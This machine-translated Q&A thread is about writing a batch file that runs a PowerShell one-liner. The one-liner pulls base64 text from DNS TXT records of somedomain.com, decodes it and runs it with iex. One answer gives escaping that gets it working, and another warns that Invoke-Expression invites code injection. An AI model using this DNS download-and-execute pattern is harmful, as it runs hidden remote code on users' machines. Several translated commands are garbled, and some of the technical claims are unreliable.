我正在尝试做:
echo|set /P="powershell "$b64=""; (1..2) | ForEach-Object { $b64+=(nslookup -q=txt "$_.somedomain.com")[-1] };
iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))" >> run.bat
但不断得到:
'ForEach-Object' is not recognized as an internal or external command, operable program or batch file.
\"
我尝试了和^"
等各种转义符^|
,但结果仍然相同。
答案1
‘ForEach-Object’ 未被识别为内部或外部命令,
您混淆了批处理命令和 PowerShell 命令。
ForEach-Object
是一个 PowerShell 命令,因此需要在 PowerShell 窗口或 PowerShell 脚本(.ps1
文件中)中运行。
我想要做的是让它编写一个运行 powershell 命令的批处理文件
你把事情弄得太复杂了。
例如,在脚本文件中编写 PowerShell 命令myscript.ps1
然后创建一个批处理文件,run.cmd
其中包含以下内容:
PowerShell myscript.ps1
简单、有效。
答案2
我最终让它工作了。关键是单引号。
echo 'powershell "$b64=\"\"; (1..2) | ForEach-Object { $b64+=(nslookup -q=txt \"$_.somedomain.com\")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|'\'",\"\")))))"' > C:\run.bat
答案3
至于……
我很乐意编写一个 powershell 脚本,但它需要通过批处理来完成
... 不,不是。它可以在任何文本编辑器中完成,就像你几乎可以使用任何语言一样。好吧,只要你在输入/调试代码时不寻求辅助指导(又称 IntelliSense)。
它可能必须从 .bat/.cmd 文件调用。你混淆了开发和执行。Dev.ps1 是你想要的任何工具。它只是一个文本文件。
如果没有从 bat 文件调用 powershell.exe,则无法从 cmd.exe 本地运行 .ps1 文件。
cmd.exe 不知道 .ps1 是什么,因此不会运行它,Windows 也不会自动为您启动 powershell.exe。您必须明确调用它。没有其他方法,这是设计使然。
任何文本编辑器都可用于脚本文件。无论您使用哪种脚本语言,都没有关系。但是,如果不使用真正的编辑器,则意味着您必须在线手动查找命令信息、名称、参数等。
至于您所展示的内容,顺便说一句,不要将代码放在评论部分,请使用适当的格式更新您的帖子问题,以便更轻松地处理。
这是纯粹的 cmd.exe 东西,当然,cmd.exe 会运行它。
echo|set /P="$b64=""
使用 PowerShell 时,“echo”是 Write-Host 的别名,大多数情况下不需要将输出发送到屏幕,因为输出到屏幕是 PowewrShells 的默认设置,除非您告诉它执行其他操作,并且这不是在 PowerShell 中设置变量的方式。根本不需要 echo|set /P 。您只需要变量名称...
$b64=""
...在引号中输入您需要的任何值
PowerShell 保留了特殊字符,分号是一个终止符,这意味着分号左右两侧的任何内容都是完全独立的代码块,并且可以独立运行。
';'
在 PowerShell 中将分号与所有代码放在同一行不会使其成为 ONe-Liner,也不会像管道 '|' 那样将结果从分号左侧发送到右侧。
这就是你将数组/集合发送到 PowerShell 循环,而没有调用 PowerShell,因此不会起作用,就是这样。同样,因为 cmd.exe 不知道这些东西是什么,而且 powershell.exe 未运行,所以你无法使用 PowerShell 代码。
您必须运行 powershell.exe 并将所有这些作为命令字符串传递给它,或者将其保存为 .ps1,然后只需启动 powershell.exe 并调用 .ps1 文件即可。需要注意的是,使用 Invoke-Expression (iex) 是一种非常糟糕的做法。多年来,有很多关于为什么不应该使用它的文章,甚至直接来自 MS PowerShell 团队,甚至在 2018 年还讨论了彻底废除它。
来自 MS PowerShell 团队
2011 年 6 月 3 日
那么 Invoke-Expression 有什么问题呢?
- 这使得正确引用变得复杂
- 这使得维护脚本更加困难
- 它比其他方案慢
- 也许最糟糕的是,它会打开一个脚本来实施代码注入攻击
(1..2) | ForEach-Object { $b64+=(nslookup -q=txt "$_.somedomain.com")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))"
这...
powershell.ps1
...说的是,你正在尝试在 cmd.exe 中构建一个包含 PowerShell 代码的命令,并将该命令另存为 .ps1。这让你毫无理由地辛苦工作。
- 打开记事本
将其复制到记事本文件中
(1..2)| ForEach-Object { $b64 + =(nslookup -q = txt“$_.somedomain.com”)[-1] };iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|“',“”)))))”
将其保存为 SomeFileName.ps1
然后正常运行脚本,即使使用实际上只有两行的 .bat/.cmd 文件。
echo|set /P="$b64=""
powershell -file "D:\temp\test.ps1"
将其保存为 .bat/.cmd,正常双击即可运行。
或者只需在 .bat/.cmd 文件中设置一行,就像您在注释中所显示的那样,这样做。
powershell.exe -noprofile echo|set /P="$b64=""; (1..2) | ForEach-Object { $b64+=(nslookup -q=txt "$_.somedomain.com")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))"
需要注意的是,无论哪种方式,该命令在语法上都是不正确的。引号并不全部对齐。如果您使用 PowerShell 编辑器,内置的 IntelliSense 会提醒您这一点,并且运行 Windows PowerShell 2x 或更高版本的每个 Windows 框都有一个内置的 PowerShell 编辑器,名为 powershell_ise.exe,位于与 powershell.exe 相同的文件夹中。甚至还有用于脚本和 GUI 开发的免费在线 PowewrSHell 编辑器。
因此,除非出于选择,否则没有理由不使用真正的 PowerShell 编辑器。
您不能双击 .ps1 并期望它运行。根据设计,.ps1 仅被视为/注册为文本文件,并且如上所述,必须通过 powershell.exe 明确调用。
这也是人们使用.bat/cmd 文件来启动.ps1 的原因。
您可以更改此设置,但作为最佳实践,请不要这样做,因为这可能会导致 RPE(恢复生成事件)。坦率地说,我一直认为 .bat/.cmd/.vbs 都应该设置为不通过双击自动运行,等等。
双击或单击某些东西会导致我们几十年及未来必须处理的所有风险。
阅读这些内容或观看 Youtube 上有关该主题的视频。
PowerShell 命令行选项
从 cmd.exe(或开始 | 运行)调用 PowerShell 脚本
https://poshoholic.com/2007/09/27/invoking-a-powershell-script-from-cmdexe-or-start-run
如何运行 PowerShell 脚本